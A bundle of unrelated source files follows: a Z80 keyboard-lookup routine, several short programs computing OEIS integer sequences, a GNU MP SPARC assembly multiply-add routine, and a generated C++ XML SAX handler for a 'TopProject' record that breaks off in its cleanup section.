; in_KeyPressed.
.in_LookupKey
._in_LookupKey
ld a,l
ld hl,in_keytranstbl
ld bc,96 * 3
cpir
jr nz,notfound
; Try and find the position with the table here
ld de,0 ; Out resulting flags
ld hl, 96 * 3 - 1
and a
sbc hl,bc ; hl = position within table
ld bc,96
and a
sbc hl,bc
jr c, got_table
; Now try shifted
set 7,e
and a
sbc hl,bc
jr c,got_table
; It must be control
res 7,e
set 6,e
and a
sbc hl,de
got_table:
add hl,bc ;Add the 96 back on
ld a,l
ld h,a
srl a ;divide by 8
srl a
srl a
or e
ld l,a ; l = flags + row
; Now get the mask
ld a,h
ld h,1
shift_loop:
and 7
ret z ; nc
rl h
dec a
jr shift_loop
notfound:
ld hl,0
scf
ret
|
; A228906: A diagonal of triangle A228904.
; 1,2,7,62,1031,24782,774180,29763855,1359654560,71984907423,4335406418694,292753300447894,21909289407621069,1800106653483146619,161097567109713138999,15599377878403186676330,1625083531855929644443019,181238001661004834528467994,21545324993880123460418461719
mov $2,$0
mov $3,$0
add $3,1
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
seq $0,135861 ; a(n) = binomial(n*(n+1),n)/(n+1).
add $1,$0
lpe
mov $0,$1
|
dnl SPARC v9 64-bit mpn_addmul_2 -- Multiply an n limb number with 2-limb
dnl number and add the result to a n limb vector.
dnl Copyright 2002, 2003 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 2.1 of the License, or (at
dnl your option) any later version.
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write
dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
dnl Boston, MA 02110-1301, USA.
include(`../config.m4')
C cycles/limb
C UltraSPARC 1&2: 9
C UltraSPARC 3: 10
C Algorithm: We use 16 floating-point multiplies per limb product, with the
C 2-limb v operand split into eight 16-bit pieces, and the n-limb u operand
C split into 32-bit pieces. We sum four 48-bit partial products using
C floating-point add, then convert the resulting four 50-bit quantities and
C transfer them to the integer unit.
C Possible optimizations:
C 1. Align the stack area where we transfer the four 50-bit product-sums
C to a 32-byte boundary. That would minimize the cache collision.
C (UltraSPARC-1/2 use a direct-mapped cache.) (Perhaps even better would
C be to align the area to map to the area immediately before up?)
C 2. Perform two of the fp->int conversions with integer instructions. We
C can get almost ten free IEU slots, if we clean up bookkeeping and the
C silly carry-limb code.
C 3. For an mpn_addmul_1 based on this, we need to fix the silly carry-limb
C code.
C OSP (Overlapping software pipeline) version of mpn_mul_basecase:
C Operand swap will require 8 LDDA and 8 FXTOD, which will mean 8 cycles.
C FI = 20
C L = 9 x un * vn
C WDFI = 10 x vn / 2
C WD = 4
C Instruction classification (as per UltraSPARC functional units).
C Assuming silly carry code is fixed. Includes bookkeeping.
C
C mpn_addmul_X mpn_mul_X
C 1 2 1 2
C ========== ==========
C FM 8 16 8 16
C FA 10 18 10 18
C MEM 12 12 10 10
C ISHIFT 6 6 6 6
C IADDLOG 11 11 10 10
C BRANCH 1 1 1 1
C
C TOTAL IEU 17 17 16 16
C TOTAL 48 64 45 61
C
C IEU cycles 8.5 8.5 8 8
C MEM cycles 12 12 10 10
C ISSUE cycles 12 16 11.25 15.25
C FPU cycles 10 18 10 18
C cycles/loop 12 18 12 18
C cycles/limb 12 9 12 9
C INPUT PARAMETERS
C rp[n + 1] i0
C up[n] i1
C n i2
C vp[2] i3
ASM_START()
REGISTER(%g2,#scratch)
REGISTER(%g3,#scratch)
C Combine registers:
C u00_hi= u32_hi
C u00_lo= u32_lo
C a000 = out000
C a016 = out016
C Free: f52 f54
define(`p000', `%f8') define(`p016',`%f10')
define(`p032',`%f12') define(`p048',`%f14')
define(`p064',`%f16') define(`p080',`%f18')
define(`p096a',`%f20') define(`p112a',`%f22')
define(`p096b',`%f56') define(`p112b',`%f58')
define(`out000',`%f0') define(`out016',`%f6')
define(`v000',`%f24') define(`v016',`%f26')
define(`v032',`%f28') define(`v048',`%f30')
define(`v064',`%f44') define(`v080',`%f46')
define(`v096',`%f48') define(`v112',`%f50')
define(`u00',`%f32') define(`u32', `%f34')
define(`a000',`%f36') define(`a016',`%f38')
define(`a032',`%f40') define(`a048',`%f42')
define(`a064',`%f60') define(`a080',`%f62')
define(`u00_hi',`%f2') define(`u32_hi',`%f4')
define(`u00_lo',`%f3') define(`u32_lo',`%f5')
define(`cy',`%g1')
define(`rlimb',`%g3')
define(`i00',`%l0') define(`i16',`%l1')
define(`r00',`%l2') define(`r32',`%l3')
define(`xffffffff',`%l7')
define(`xffff',`%o0')
PROLOGUE(mpn_addmul_2)
C Initialization. (1) Split v operand into eight 16-bit chunks and store them
C as IEEE double in fp registers. (2) Clear upper 32 bits of fp register pairs
C f2 and f4. (3) Store masks in registers aliased to `xffff' and `xffffffff'.
C This code could be better scheduled.
save %sp, -256, %sp
ifdef(`HAVE_VIS',
` mov -1, %g4
wr %g0, 0xD2, %asi
srlx %g4, 32, xffffffff C store mask in register `xffffffff'
ldda [%i3+6] %asi, v000
ldda [%i3+4] %asi, v016
ldda [%i3+2] %asi, v032
ldda [%i3+0] %asi, v048
fxtod v000, v000
ldda [%i3+14] %asi, v064
fxtod v016, v016
ldda [%i3+12] %asi, v080
fxtod v032, v032
ldda [%i3+10] %asi, v096
fxtod v048, v048
ldda [%i3+8] %asi, v112
fxtod v064, v064
fxtod v080, v080
fxtod v096, v096
fxtod v112, v112
fzero u00_hi
fzero u32_hi
',
` mov -1, %g4
ldx [%i3+0], %l0 C vp[0]
srlx %g4, 48, xffff C store mask in register `xffff'
ldx [%i3+8], %l1 C vp[1]
and %l0, xffff, %g2
stx %g2, [%sp+2223+0]
srlx %l0, 16, %g3
and %g3, xffff, %g3
stx %g3, [%sp+2223+8]
srlx %l0, 32, %g2
and %g2, xffff, %g2
stx %g2, [%sp+2223+16]
srlx %l0, 48, %g3
stx %g3, [%sp+2223+24]
and %l1, xffff, %g2
stx %g2, [%sp+2223+32]
srlx %l1, 16, %g3
and %g3, xffff, %g3
stx %g3, [%sp+2223+40]
srlx %l1, 32, %g2
and %g2, xffff, %g2
stx %g2, [%sp+2223+48]
srlx %l1, 48, %g3
stx %g3, [%sp+2223+56]
srlx %g4, 32, xffffffff C store mask in register `xffffffff'
ldd [%sp+2223+0], v000
ldd [%sp+2223+8], v016
ldd [%sp+2223+16], v032
ldd [%sp+2223+24], v048
fxtod v000, v000
ldd [%sp+2223+32], v064
fxtod v016, v016
ldd [%sp+2223+40], v080
fxtod v032, v032
ldd [%sp+2223+48], v096
fxtod v048, v048
ldd [%sp+2223+56], v112
fxtod v064, v064
ld [%sp+2223+0], u00_hi C zero u00_hi
fxtod v080, v080
ld [%sp+2223+0], u32_hi C zero u32_hi
fxtod v096, v096
fxtod v112, v112
')
C Initialization done.
mov 0, %g2
mov 0, rlimb
mov 0, %g4
add %i0, -8, %i0 C BOOKKEEPING
C Start software pipeline.
ld [%i1+4], u00_lo C read low 32 bits of up[i]
fxtod u00_hi, u00
C mid
ld [%i1+0], u32_lo C read high 32 bits of up[i]
fmuld u00, v000, a000
fmuld u00, v016, a016
fmuld u00, v032, a032
fmuld u00, v048, a048
add %i2, -1, %i2 C BOOKKEEPING
fmuld u00, v064, p064
add %i1, 8, %i1 C BOOKKEEPING
fxtod u32_hi, u32
fmuld u00, v080, p080
fmuld u00, v096, p096a
brnz,pt %i2, .L_2_or_more
fmuld u00, v112, p112a
.L1: fdtox a000, out000
fmuld u32, v000, p000
fdtox a016, out016
fmuld u32, v016, p016
fmovd p064, a064
fmuld u32, v032, p032
fmovd p080, a080
fmuld u32, v048, p048
std out000, [%sp+2223+16]
faddd p000, a032, a000
fmuld u32, v064, p064
std out016, [%sp+2223+24]
fxtod u00_hi, u00
faddd p016, a048, a016
fmuld u32, v080, p080
faddd p032, a064, a032
fmuld u32, v096, p096b
faddd p048, a080, a048
fmuld u32, v112, p112b
C mid
fdtox a000, out000
fdtox a016, out016
faddd p064, p096a, a064
faddd p080, p112a, a080
std out000, [%sp+2223+0]
b .L_wd2
std out016, [%sp+2223+8]
.L_2_or_more:
ld [%i1+4], u00_lo C read low 32 bits of up[i]
fdtox a000, out000
fmuld u32, v000, p000
fdtox a016, out016
fmuld u32, v016, p016
fmovd p064, a064
fmuld u32, v032, p032
fmovd p080, a080
fmuld u32, v048, p048
std out000, [%sp+2223+16]
faddd p000, a032, a000
fmuld u32, v064, p064
std out016, [%sp+2223+24]
fxtod u00_hi, u00
faddd p016, a048, a016
fmuld u32, v080, p080
faddd p032, a064, a032
fmuld u32, v096, p096b
faddd p048, a080, a048
fmuld u32, v112, p112b
C mid
ld [%i1+0], u32_lo C read high 32 bits of up[i]
fdtox a000, out000
fmuld u00, v000, p000
fdtox a016, out016
fmuld u00, v016, p016
faddd p064, p096a, a064
fmuld u00, v032, p032
faddd p080, p112a, a080
fmuld u00, v048, p048
add %i2, -1, %i2 C BOOKKEEPING
std out000, [%sp+2223+0]
faddd p000, a032, a000
fmuld u00, v064, p064
add %i1, 8, %i1 C BOOKKEEPING
std out016, [%sp+2223+8]
fxtod u32_hi, u32
faddd p016, a048, a016
fmuld u00, v080, p080
faddd p032, a064, a032
fmuld u00, v096, p096a
faddd p048, a080, a048
brnz,pt %i2, .L_3_or_more
fmuld u00, v112, p112a
b .Lend
nop
C 64 32 0
C . . .
C . |__rXXX_| 32
C . |___cy___| 34
C . |_______i00__| 50
C |_______i16__| . 50
C BEGIN MAIN LOOP
.align 16
.L_3_or_more:
.Loop: ld [%i1+4], u00_lo C read low 32 bits of up[i]
and %g2, xffffffff, %g2
fdtox a000, out000
fmuld u32, v000, p000
C
lduw [%i0+4+8], r00 C read low 32 bits of rp[i]
add %g2, rlimb, %l5
fdtox a016, out016
fmuld u32, v016, p016
C
srlx %l5, 32, cy
ldx [%sp+2223+16], i00
faddd p064, p096b, a064
fmuld u32, v032, p032
C
add %g4, cy, cy C new cy
ldx [%sp+2223+24], i16
faddd p080, p112b, a080
fmuld u32, v048, p048
C
nop
std out000, [%sp+2223+16]
faddd p000, a032, a000
fmuld u32, v064, p064
C
add i00, r00, rlimb
add %i0, 8, %i0 C BOOKKEEPING
std out016, [%sp+2223+24]
fxtod u00_hi, u00
C
sllx i16, 16, %g2
add cy, rlimb, rlimb
faddd p016, a048, a016
fmuld u32, v080, p080
C
srlx i16, 16, %g4
add %g2, rlimb, %l5
faddd p032, a064, a032
fmuld u32, v096, p096b
C
stw %l5, [%i0+4]
nop
faddd p048, a080, a048
fmuld u32, v112, p112b
C midloop
ld [%i1+0], u32_lo C read high 32 bits of up[i]
and %g2, xffffffff, %g2
fdtox a000, out000
fmuld u00, v000, p000
C
lduw [%i0+0], r32 C read high 32 bits of rp[i]
add %g2, rlimb, %l5
fdtox a016, out016
fmuld u00, v016, p016
C
srlx %l5, 32, cy
ldx [%sp+2223+0], i00
faddd p064, p096a, a064
fmuld u00, v032, p032
C
add %g4, cy, cy C new cy
ldx [%sp+2223+8], i16
faddd p080, p112a, a080
fmuld u00, v048, p048
C
add %i2, -1, %i2 C BOOKKEEPING
std out000, [%sp+2223+0]
faddd p000, a032, a000
fmuld u00, v064, p064
C
add i00, r32, rlimb
add %i1, 8, %i1 C BOOKKEEPING
std out016, [%sp+2223+8]
fxtod u32_hi, u32
C
sllx i16, 16, %g2
add cy, rlimb, rlimb
faddd p016, a048, a016
fmuld u00, v080, p080
C
srlx i16, 16, %g4
add %g2, rlimb, %l5
faddd p032, a064, a032
fmuld u00, v096, p096a
C
stw %l5, [%i0+0]
faddd p048, a080, a048
brnz,pt %i2, .Loop
fmuld u00, v112, p112a
C END MAIN LOOP
C WIND-DOWN PHASE 1
.Lend: and %g2, xffffffff, %g2
fdtox a000, out000
fmuld u32, v000, p000
lduw [%i0+4+8], r00 C read low 32 bits of rp[i]
add %g2, rlimb, %l5
fdtox a016, out016
fmuld u32, v016, p016
srlx %l5, 32, cy
ldx [%sp+2223+16], i00
faddd p064, p096b, a064
fmuld u32, v032, p032
add %g4, cy, cy C new cy
ldx [%sp+2223+24], i16
faddd p080, p112b, a080
fmuld u32, v048, p048
std out000, [%sp+2223+16]
faddd p000, a032, a000
fmuld u32, v064, p064
add i00, r00, rlimb
add %i0, 8, %i0 C BOOKKEEPING
std out016, [%sp+2223+24]
sllx i16, 16, %g2
add cy, rlimb, rlimb
faddd p016, a048, a016
fmuld u32, v080, p080
srlx i16, 16, %g4
add %g2, rlimb, %l5
faddd p032, a064, a032
fmuld u32, v096, p096b
stw %l5, [%i0+4]
faddd p048, a080, a048
fmuld u32, v112, p112b
C mid
and %g2, xffffffff, %g2
fdtox a000, out000
lduw [%i0+0], r32 C read high 32 bits of rp[i]
add %g2, rlimb, %l5
fdtox a016, out016
srlx %l5, 32, cy
ldx [%sp+2223+0], i00
faddd p064, p096a, a064
add %g4, cy, cy C new cy
ldx [%sp+2223+8], i16
faddd p080, p112a, a080
std out000, [%sp+2223+0]
add i00, r32, rlimb
std out016, [%sp+2223+8]
sllx i16, 16, %g2
add cy, rlimb, rlimb
srlx i16, 16, %g4
add %g2, rlimb, %l5
stw %l5, [%i0+0]
C WIND-DOWN PHASE 2
.L_wd2: and %g2, xffffffff, %g2
fdtox a032, out000
lduw [%i0+4+8], r00 C read low 32 bits of rp[i]
add %g2, rlimb, %l5
fdtox a048, out016
srlx %l5, 32, cy
ldx [%sp+2223+16], i00
add %g4, cy, cy C new cy
ldx [%sp+2223+24], i16
std out000, [%sp+2223+16]
add i00, r00, rlimb
add %i0, 8, %i0 C BOOKKEEPING
std out016, [%sp+2223+24]
sllx i16, 16, %g2
add cy, rlimb, rlimb
srlx i16, 16, %g4
add %g2, rlimb, %l5
stw %l5, [%i0+4]
C mid
and %g2, xffffffff, %g2
fdtox a064, out000
lduw [%i0+0], r32 C read high 32 bits of rp[i]
add %g2, rlimb, %l5
fdtox a080, out016
srlx %l5, 32, cy
ldx [%sp+2223+0], i00
add %g4, cy, cy C new cy
ldx [%sp+2223+8], i16
std out000, [%sp+2223+0]
add i00, r32, rlimb
std out016, [%sp+2223+8]
sllx i16, 16, %g2
add cy, rlimb, rlimb
srlx i16, 16, %g4
add %g2, rlimb, %l5
stw %l5, [%i0+0]
C WIND-DOWN PHASE 3
.L_wd3: and %g2, xffffffff, %g2
fdtox p096b, out000
add %g2, rlimb, %l5
fdtox p112b, out016
srlx %l5, 32, cy
ldx [%sp+2223+16], rlimb
add %g4, cy, cy C new cy
ldx [%sp+2223+24], i16
std out000, [%sp+2223+16]
add %i0, 8, %i0 C BOOKKEEPING
std out016, [%sp+2223+24]
sllx i16, 16, %g2
add cy, rlimb, rlimb
srlx i16, 16, %g4
add %g2, rlimb, %l5
stw %l5, [%i0+4]
C mid
and %g2, xffffffff, %g2
add %g2, rlimb, %l5
srlx %l5, 32, cy
ldx [%sp+2223+0], rlimb
add %g4, cy, cy C new cy
ldx [%sp+2223+8], i16
sllx i16, 16, %g2
add cy, rlimb, rlimb
srlx i16, 16, %g4
add %g2, rlimb, %l5
stw %l5, [%i0+0]
and %g2, xffffffff, %g2
add %g2, rlimb, %l5
srlx %l5, 32, cy
ldx [%sp+2223+16], i00
add %g4, cy, cy C new cy
ldx [%sp+2223+24], i16
sllx i16, 16, %g2
add i00, cy, cy
return %i7+8
add %g2, cy, %o0
EPILOGUE(mpn_addmul_2)
|
; A060818: a(n) = 2^(floor(n/2) + floor(n/4) + floor(n/8) + floor(n/16) + ...).
; 1,1,2,2,8,8,16,16,128,128,256,256,1024,1024,2048,2048,32768,32768,65536,65536,262144,262144,524288,524288,4194304,4194304,8388608,8388608,33554432,33554432,67108864,67108864,2147483648,2147483648,4294967296,4294967296,17179869184,17179869184,34359738368,34359738368,274877906944,274877906944,549755813888,549755813888,2199023255552,2199023255552,4398046511104,4398046511104,70368744177664,70368744177664,140737488355328,140737488355328,562949953421312,562949953421312,1125899906842624,1125899906842624,9007199254740992,9007199254740992,18014398509481984,18014398509481984,72057594037927936,72057594037927936,144115188075855872,144115188075855872,9223372036854775808,9223372036854775808,18446744073709551616,18446744073709551616,73786976294838206464,73786976294838206464,147573952589676412928,147573952589676412928,1180591620717411303424,1180591620717411303424,2361183241434822606848,2361183241434822606848,9444732965739290427392,9444732965739290427392,18889465931478580854784,18889465931478580854784,302231454903657293676544,302231454903657293676544,604462909807314587353088,604462909807314587353088,2417851639229258349412352,2417851639229258349412352,4835703278458516698824704,4835703278458516698824704,38685626227668133590597632,38685626227668133590597632,77371252455336267181195264,77371252455336267181195264,309485009821345068724781056,309485009821345068724781056,618970019642690137449562112,618970019642690137449562112,19807040628566084398385987584,19807040628566084398385987584,39614081257132168796771975168,39614081257132168796771975168
mov $4,$0
lpb $3,4
mov $6,$4
div $4,2
add $1,$4
add $6,2
lpe
pow $6,$1
mov $0,$6
|
; A097043: a(n) = n - a(floor(sqrt(n))) for n > 1; a(1) = 1.
; Submitted by Jon Maiga
; 1,1,2,3,4,5,6,7,7,8,9,10,11,12,13,13,14,15,16,17,18,19,20,21,21,22,23,24,25,26,27,28,29,30,31,31,32,33,34,35,36,37,38,39,40,41,42,43,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,57,58,59,60,61,62,63,64,65,66
mov $1,$0
lpb $1
sub $0,1
trn $1,3
add $1,$2
sub $2,2
lpe
add $0,1
|
// Description: C++18 XML SAX2 Element Handler implementation for TopProject
/*
* org.msscf.msscf.CFInt
*
* Copyright (c) 2020 Mark Stephen Sobkow
*
* MSS Code Factory CFInt 2.13 Internet Essentials
*
* Copyright 2020-2021 Mark Stephen Sobkow
*
* This file is part of MSS Code Factory.
*
* MSS Code Factory is available under dual commercial license from Mark Stephen
* Sobkow, or under the terms of the GNU General Public License, Version 3
* or later.
*
* MSS Code Factory is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* MSS Code Factory is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with MSS Code Factory. If not, see <https://www.gnu.org/licenses/>.
*
* Donations to support MSS Code Factory can be made at
* https://www.paypal.com/paypalme2/MarkSobkow
*
* Please contact Mark Stephen Sobkow at mark.sobkow@gmail.com for commercial licensing.
*
* Manufactured by MSS Code Factory 2.12
*/
#include <cflib/ICFLibPublic.hpp>
#include <cfint/ICFIntPublic.hpp>
#include <cfintobj/ICFIntObjPublic.hpp>
#include <cfintsaxloader/CFIntSaxLoader.hpp>
#include <cfintsaxloader/CFIntSaxLoaderTopProjectHandler.hpp>
using namespace std;
namespace cfint {
const std::string CFIntSaxLoaderTopProjectHandler::CLASS_NAME( "CFIntSaxLoaderTopProjectHandler" );
const std::string CFIntSaxLoaderTopProjectHandler::S_True( "true" );
const std::string CFIntSaxLoaderTopProjectHandler::S_False( "false" );
const std::string CFIntSaxLoaderTopProjectHandler::S_Yes( "yes" );
const std::string CFIntSaxLoaderTopProjectHandler::S_No( "no" );
const std::string CFIntSaxLoaderTopProjectHandler::S_0( "0" );
const std::string CFIntSaxLoaderTopProjectHandler::S_1( "1" );
CFIntSaxLoaderTopProjectHandler::CFIntSaxLoaderTopProjectHandler( cfint::CFIntSaxLoader* saxLoader )
: cflib::CFLibXmlCoreElementHandler( saxLoader )
{
}
CFIntSaxLoaderTopProjectHandler::~CFIntSaxLoaderTopProjectHandler() {
}
void CFIntSaxLoaderTopProjectHandler::startElement (
const XMLCh* const uri,
const XMLCh* const localname,
const XMLCh* const qname,
const xercesc::Attributes& attrs )
{
const static std::string S_ProcName( "startElement" );
const static std::string S_SpecificallyId( "Id" );
const static std::string S_Object( "object" );
const static std::string S_Uri( "uri" );
const static std::string S_LocalName( "localname" );
const static std::string S_GetParser( "getParser()" );
const static std::string S_GetParserGetSchemaObj( "getParser()->getSchemaObj()" );
const static std::string S_SchemaLocation( "schemaLocation" );
const static std::string S_SaxLoaderUseTenant( "saxLoader->useTenant" );
const static std::string S_QName( "qname" );
static const std::string S_TenantId( "TenantId" );
static const std::string S_Id( "Id" );
static const std::string S_TopDomainId( "TopDomainId" );
static const std::string S_Name( "Name" );
static const std::string S_Description( "Description" );
static const std::string S_Tenant( "Tenant" );
static const std::string S_ParentSDom( "ParentSDom" );
static const std::string S_SubProject( "SubProject" );
CFLIB_EXCEPTION_DECLINFO
const XMLCh* xmlchLocalName = NULL;
char* cLocalName = NULL;
std::string* attrLocalName = NULL;
const XMLCh* xmlchValue = NULL;
char* cValue = NULL;
std::string* cppValue = NULL;
char* cUri = NULL;
char* cQName = NULL;
cflib::CFLibXmlCoreContext* curContext = NULL;
cfint::CFIntSaxLoader* saxLoader = NULL;
cfint::CFIntSaxLoader::LoaderBehaviourEnum loaderBehaviour;
cfint::ICFIntSchemaObj* schemaObj = NULL;
cfint::ICFIntTopProjectObj* tmpBuff = NULL;
cfint::ICFIntTopProjectEditObj* editBuff = NULL;
cfint::ICFIntTopProjectEditObj* editTopProject = NULL;
cfint::ICFIntTopProjectObj* origTopProject = NULL;
cflib::CFLibXmlCoreContext* parentContext = NULL;
cflib::ICFLibAnyObj* scopeObj = NULL;
// Common XML Attributes
std::string* attrId = NULL;
// TopProject Attributes
std::string* attrName = NULL;
std::string* attrDescription = NULL;
// TopProject References
cfsec::ICFSecTenantObj* refTenant = NULL;
cfint::ICFIntTopDomainObj* refParentSDom = NULL;
std::string* natName = NULL;
std::string* natDescription = NULL;
try {
if( ( uri == NULL ) || ( *uri == 0 ) ) {
throw cflib::CFLibEmptyArgumentException( CLASS_NAME,
S_ProcName,
1,
S_Uri );
}
if( ( localname == NULL ) || ( *localname == 0 ) ) {
throw cflib::CFLibEmptyArgumentException( CLASS_NAME,
S_ProcName,
2,
S_LocalName );
}
if( ( qname == NULL ) || ( *qname == 0 ) ) {
throw cflib::CFLibEmptyArgumentException( CLASS_NAME,
S_ProcName,
3,
S_QName );
}
cUri = xercesc::XMLString::transcode( uri );
cLocalName = xercesc::XMLString::transcode( localname );
cQName = xercesc::XMLString::transcode( qname );
std::string cppUri( cUri );
std::string cppLocalName( cLocalName );
std::string cppQName( cQName );
xercesc::XMLString::release( &cUri );
cUri = NULL;
xercesc::XMLString::release( &cLocalName );
cLocalName = NULL;
xercesc::XMLString::release( &cQName );
cQName = NULL;
if( cppQName != cfint::CFIntTopProjectBuff::GENDEFNAME ) {
std::string Msg( "Expected QName to be '" + cfint::CFIntTopProjectBuff::GENDEFNAME + "'" );
throw cflib::CFLibRuntimeException( CLASS_NAME,
S_ProcName,
Msg );
}
// Attribute Extraction
size_t numAttrs;
size_t idxAttr;
saxLoader = dynamic_cast<cfint::CFIntSaxLoader*>( getParser() );
if( saxLoader == NULL ) {
throw cflib::CFLibNullArgumentException( CLASS_NAME,
S_ProcName,
0,
S_GetParser );
}
schemaObj = dynamic_cast<cfint::ICFIntSchemaObj*>( saxLoader->getSchemaObj() );
if( schemaObj == NULL ) {
throw cflib::CFLibNullArgumentException( CLASS_NAME,
S_ProcName,
0,
S_GetParserGetSchemaObj );
}
// Instantiate an edit buffer for the parsed information
tmpBuff = schemaObj->getTopProjectTableObj()->newInstance();
editBuff = dynamic_cast<cfint::ICFIntTopProjectEditObj*>( tmpBuff->beginEdit() );
// Extract Attributes
numAttrs = attrs.getLength();
for( idxAttr = 0; idxAttr < numAttrs; idxAttr++ ) {
if( attrLocalName != NULL ) {
delete attrLocalName;
attrLocalName = NULL;
}
if( cppValue != NULL ) {
delete cppValue;
cppValue = NULL;
}
xmlchLocalName = attrs.getLocalName( idxAttr );
if( xmlchLocalName == NULL ) {
continue;
}
cLocalName = xercesc::XMLString::transcode( xmlchLocalName );
attrLocalName = new std::string( cLocalName );
xercesc::XMLString::release( &cLocalName );
cLocalName = NULL;
xmlchValue = attrs.getValue( idxAttr );
if( xmlchValue == NULL ) {
cppValue = NULL;
}
else {
cValue = xercesc::XMLString::transcode( xmlchValue );
cppValue = new std::string( cValue );
xercesc::XMLString::release( &cValue );
cValue = NULL;
}
if( *attrLocalName == S_SpecificallyId ) {
if( attrId != NULL ) {
throw cflib::CFLibUniqueIndexViolationException( CLASS_NAME,
S_ProcName,
*attrLocalName );
}
if( cppValue != NULL ) {
attrId = new std::string( *cppValue );
}
}
else if( *attrLocalName == S_Name ) {
if( attrName != NULL ) {
throw cflib::CFLibUniqueIndexViolationException( CLASS_NAME,
S_ProcName,
*attrLocalName );
}
if( cppValue != NULL ) {
attrName = new std::string( *cppValue );
}
else {
attrName = NULL;
}
}
else if( *attrLocalName == S_Description ) {
if( attrDescription != NULL ) {
throw cflib::CFLibUniqueIndexViolationException( CLASS_NAME,
S_ProcName,
*attrLocalName );
}
if( cppValue != NULL ) {
attrDescription = new std::string( *cppValue );
}
else {
attrDescription = NULL;
}
}
else if( *attrLocalName == S_SchemaLocation ) {
// ignored
}
else {
throw cflib::CFLibUnrecognizedAttributeException( CLASS_NAME,
S_ProcName,
getParser()->getLocationInfo(),
*attrLocalName );
}
if( cppValue != NULL ) {
delete cppValue;
cppValue = NULL;
}
if( attrLocalName != NULL ) {
delete attrLocalName;
attrLocalName = NULL;
}
}
// Ensure that required attributes have values
if( attrName == NULL ) {
throw cflib::CFLibNullArgumentException( CLASS_NAME,
S_ProcName,
0,
S_Name );
}
// Save named attributes to context
curContext = getParser()->getCurContext();
if( curContext == NULL ) {
static const std::string S_CurContext( "getParser()->getCurContext" );
throw cflib::CFLibNullArgumentException( CLASS_NAME,
S_ProcName,
0,
S_CurContext );
}
if( attrId != NULL ) {
curContext->putNamedTag( S_SpecificallyId, *attrId );
}
if( attrName != NULL ) {
curContext->putNamedTag( S_Name, *attrName );
}
if( attrDescription != NULL ) {
curContext->putNamedTag( S_Description, *attrDescription );
}
// Convert string attributes to native C++18 types
// and apply the converted attributes to the editBuff
cflib::CFLibNullableInt32 natId;
if( ( attrId != NULL ) && ( attrId->length() > 0 ) ) {
natId = cflib::CFLibXmlUtil::evalInt32( *attrId );
}
else {
natId.setNull();
}
if( attrName != NULL ) {
natName = new std::string( *attrName );
}
else {
natName = NULL;
}
if( natName == NULL ) {
throw cflib::CFLibNullArgumentException( CLASS_NAME,
S_ProcName,
0,
S_Name );
}
editBuff->setRequiredName( *natName );
if( attrDescription != NULL ) {
natDescription = new std::string( *attrDescription );
}
else {
natDescription = NULL;
}
if( natDescription != NULL ) {
editBuff->setOptionalDescriptionValue( *natDescription );
}
else {
editBuff->setOptionalDescriptionNull();
}
// Get the scope/container object
parentContext = curContext->getPrevContext();
if( parentContext != NULL ) {
scopeObj = parentContext->getObj();
}
else {
scopeObj = NULL;
}
// Resolve and apply required Container reference
if( scopeObj == NULL ) {
throw cflib::CFLibNullArgumentException( CLASS_NAME,
S_ProcName,
0,
"scopeObj" );
}
else if( scopeObj->implementsClassCode( cfint::CFIntTopDomainBuff::CLASS_CODE ) ) {
refParentSDom = dynamic_cast<cfint::ICFIntTopDomainObj*>( scopeObj );
editBuff->setRequiredContainerParentSDom( refParentSDom );
refTenant = editBuff->getRequiredOwnerTenant();
}
else {
throw cflib::CFLibUnsupportedClassException( CLASS_NAME,
S_ProcName,
"scopeObj",
scopeObj,
"ICFIntTopDomainObj" );
}
// Resolve and apply Owner reference
if( refTenant == NULL ) {
if( scopeObj->implementsClassCode( cfsec::CFSecTenantBuff::CLASS_CODE ) ) {
refTenant = dynamic_cast<cfsec::ICFSecTenantObj*>( scopeObj );
editBuff->setRequiredOwnerTenant( refTenant );
}
else {
throw cflib::CFLibNullArgumentException( CLASS_NAME,
S_ProcName,
0,
"Owner<Tenant>" );
}
}
loaderBehaviour = saxLoader->getTopProjectLoaderBehaviour();
origTopProject = dynamic_cast<cfint::ICFIntTopProjectObj*>( schemaObj->getTopProjectTableObj()->readTopProjectByNameIdx( refTenant->getRequiredId(),
refParentSDom->getRequiredId(),
editBuff->getRequiredName() ) );
if( origTopProject == NULL ) {
editTopProject = editBuff;
editBuff = NULL;
}
else {
switch( loaderBehaviour ) {
case cfint::CFIntSaxLoader::LoaderBehaviourEnum::Insert:
editTopProject = NULL;
editBuff->endEdit();
editBuff = NULL;
break;
case cfint::CFIntSaxLoader::LoaderBehaviourEnum::Update:
editTopProject = dynamic_cast<cfint::ICFIntTopProjectEditObj*>( origTopProject->beginEdit() );
editTopProject->setRequiredName( editBuff->getRequiredName() );
if( editBuff->isOptionalDescriptionNull() ) {
editTopProject->setOptionalDescriptionNull();
}
else {
editTopProject->setOptionalDescriptionValue( editBuff->getOptionalDescriptionValue() );
}
editBuff->endEdit();
editBuff = NULL;
break;
case cfint::CFIntSaxLoader::LoaderBehaviourEnum::Replace:
editTopProject = dynamic_cast<cfint::ICFIntTopProjectEditObj*>( origTopProject->beginEdit() );
editTopProject->deleteInstance();
editTopProject = NULL;
origTopProject = NULL;
editTopProject = editBuff;
editBuff = NULL;
break;
}
}
if( editTopProject != NULL ) {
if( origTopProject != NULL ) {
editTopProject->update();
}
else {
origTopProject = dynamic_cast<cfint::ICFIntTopProjectObj*>( editTopProject->create() );
}
editTopProject = NULL;
}
if( ! tmpBuff->getIsNew() ) {
tmpBuff = NULL;
}
curContext->setObj( origTopProject );
}
CFLIB_EXCEPTION_CATCH_FALLTHROUGH
cleanup:
if( attrLocalName != NULL ) {
delete attrLocalName;
attrLocalName = NULL;
